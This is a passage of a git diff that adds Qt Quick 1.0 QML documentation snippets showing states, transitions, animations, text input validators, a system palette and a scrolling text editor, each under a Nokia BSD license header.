+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: myRect
+ width: 100; height: 100
+ color: "black"
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: myRect.state == 'clicked' ? myRect.state = "" : myRect.state = 'clicked';
+ }
+
+ states: [
+ State {
+ name: "clicked"
+ PropertyChanges { target: myRect; color: "red" }
+ }
+ ]
+}
+//![0]
diff --git a/doc/src/snippets/declarative/states.qml b/doc/src/snippets/declarative/states.qml
new file mode 100644
index 00000000..cb752ab7
--- /dev/null
+++ b/doc/src/snippets/declarative/states.qml
@@ -0,0 +1,121 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![document]
+import QtQuick 1.0
+
+//![parent begin]
+Rectangle {
+//![parent begin]
+
+ id: screen
+ width: 400; height: 500
+
+
+Rectangle {
+ id: flag
+}
+Column {
+ spacing: 15
+//![signal states]
+Rectangle {
+ id: signal
+ width: 200; height: 200
+ state: "NORMAL"
+
+ states: [
+ State {
+ name: "NORMAL"
+ PropertyChanges { target: signal; color: "green"}
+ PropertyChanges { target: flag; state: "FLAG_DOWN"}
+ },
+ State {
+ name: "CRITICAL"
+ PropertyChanges { target: signal; color: "red"}
+ PropertyChanges { target: flag; state: "FLAG_UP"}
+ }
+ ]
+}
+//![signal states]
+
+//![switch states]
+Rectangle {
+ id: signalswitch
+ width: 75; height: 75
+ color: "blue"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (signal.state == "NORMAL")
+ signal.state = "CRITICAL"
+ else
+ signal.state = "NORMAL"
+ }
+ }
+}
+//![switch states]
+
+//![when property]
+Rectangle {
+ id: bell
+ width: 75; height: 75
+ color: "yellow"
+
+ states: State {
+ name: "RINGING"
+ when: (signal.state == "CRITICAL")
+ PropertyChanges {target: speaker; play: "RING!"}
+ }
+}
+//![when property]
+
+Text {
+ id: speaker
+ property alias play: speaker.text
+ text: "NORMAL"
+}
+
+} // end of row
+
+//![parent end]
+}
+//![parent end]
+
+//![document]
diff --git a/doc/src/snippets/declarative/states/statechangescript.qml b/doc/src/snippets/declarative/states/statechangescript.qml
new file mode 100644
index 00000000..3e99c2a4
--- /dev/null
+++ b/doc/src/snippets/declarative/states/statechangescript.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Item {
+//! [state and transition]
+State {
+ name: "state1"
+ StateChangeScript {
+ name: "myScript"
+ script: doStateStuff();
+ }
+ // ...
+}
+// ...
+Transition {
+ to: "state1"
+ SequentialAnimation {
+ NumberAnimation { /* ... */ }
+ ScriptAction { scriptName: "myScript" }
+ NumberAnimation { /* ... */ }
+ }
+}
+//! [state and transition]
+}
diff --git a/doc/src/snippets/declarative/systempalette.qml b/doc/src/snippets/declarative/systempalette.qml
new file mode 100644
index 00000000..a83c96d4
--- /dev/null
+++ b/doc/src/snippets/declarative/systempalette.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ SystemPalette { id: myPalette; colorGroup: SystemPalette.Active }
+
+ width: 640; height: 480
+ color: myPalette.window
+
+ Text {
+ anchors.fill: parent
+ text: "Hello!"; color: myPalette.windowText
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/text/onLinkActivated.qml b/doc/src/snippets/declarative/text/onLinkActivated.qml
new file mode 100644
index 00000000..38020740
--- /dev/null
+++ b/doc/src/snippets/declarative/text/onLinkActivated.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 700; height: 400
+
+//![0]
+ Text {
+ textFormat: Text.RichText
+ text: "The main website is at <a href=\"http://qt.nokia.com\">Nokia Qt DF</a>."
+ onLinkActivated: console.log(link + " link activated")
+ }
+//![0]
+
+}
+
diff --git a/doc/src/snippets/declarative/texteditor.qml b/doc/src/snippets/declarative/texteditor.qml
new file mode 100644
index 00000000..88096168
--- /dev/null
+++ b/doc/src/snippets/declarative/texteditor.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+Flickable {
+ id: flick
+
+ width: 300; height: 200;
+ contentWidth: edit.paintedWidth
+ contentHeight: edit.paintedHeight
+ clip: true
+
+ function ensureVisible(r)
+ {
+ if (contentX >= r.x)
+ contentX = r.x;
+ else if (contentX+width <= r.x+r.width)
+ contentX = r.x+r.width-width;
+ if (contentY >= r.y)
+ contentY = r.y;
+ else if (contentY+height <= r.y+r.height)
+ contentY = r.y+r.height-height;
+ }
+
+ TextEdit {
+ id: edit
+ width: flick.width
+ height: flick.height
+ focus: true
+ wrapMode: TextEdit.Wrap
+ onCursorRectangleChanged: flick.ensureVisible(cursorRectangle)
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/texthandling.qml b/doc/src/snippets/declarative/texthandling.qml
new file mode 100644
index 00000000..75910f01
--- /dev/null
+++ b/doc/src/snippets/declarative/texthandling.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 300; height: 300
+ id: screen
+
+Column {
+ anchors.centerIn:parent
+
+//! [int validator]
+Column {
+ spacing: 10
+
+ Text {
+ text: "Enter a value from 0 to 2000"
+ }
+ TextInput {
+ focus: true
+ validator: IntValidator { bottom:0; top: 2000}
+ }
+}
+//! [int validator]
+
+//! [regexp validator]
+Column {
+ spacing: 10
+
+ Text {
+ text: "Which basket?"
+ }
+ TextInput {
+ focus: true
+ validator: RegExpValidator { regExp: /fruit basket/ }
+ }
+}
+//! [regexp validator]
+
+//end of column
+}
+
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml
new file mode 100644
index 00000000..ea5ae576
--- /dev/null
+++ b/doc/src/snippets/declarative/transition-from-to-modified.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow" }
+ }
+
+ //! [modified transition]
+ transitions: Transition {
+ to: "brighter"
+ ColorAnimation { duration: 1000 }
+ }
+ //! [modified transition]
+}
diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml
new file mode 100644
index 00000000..88cffc94
--- /dev/null
+++ b/doc/src/snippets/declarative/transition-from-to.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow" }
+ }
+
+ transitions: Transition {
+ ColorAnimation { duration: 1000 }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml
new file mode 100644
index 00000000..0c128b00
--- /dev/null
+++ b/doc/src/snippets/declarative/transition-reversible.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"
+ when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow"; x: 50 }
+ }
+
+ //! [sequential animations]
+ transitions: Transition {
+ SequentialAnimation {
+ PropertyAnimation { property: "x"; duration: 1000 }
+ ColorAnimation { duration: 1000 }
+ }
+ }
+ //! [sequential animations]
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/transition.qml b/doc/src/snippets/declarative/transition.qml
new file mode 100644
index 00000000..3732df26
--- /dev/null
+++ b/doc/src/snippets/declarative/transition.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ }
+
+ states: State {
+ name: "moved"; when: mouseArea.pressed
+ PropertyChanges { target: rect; x: 50; y: 50 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x,y"; easing.type: Easing.InOutQuad }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml
new file mode 100644
index 00000000..ff0d1c1a
--- /dev/null
+++ b/doc/src/snippets/declarative/transitions-list.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
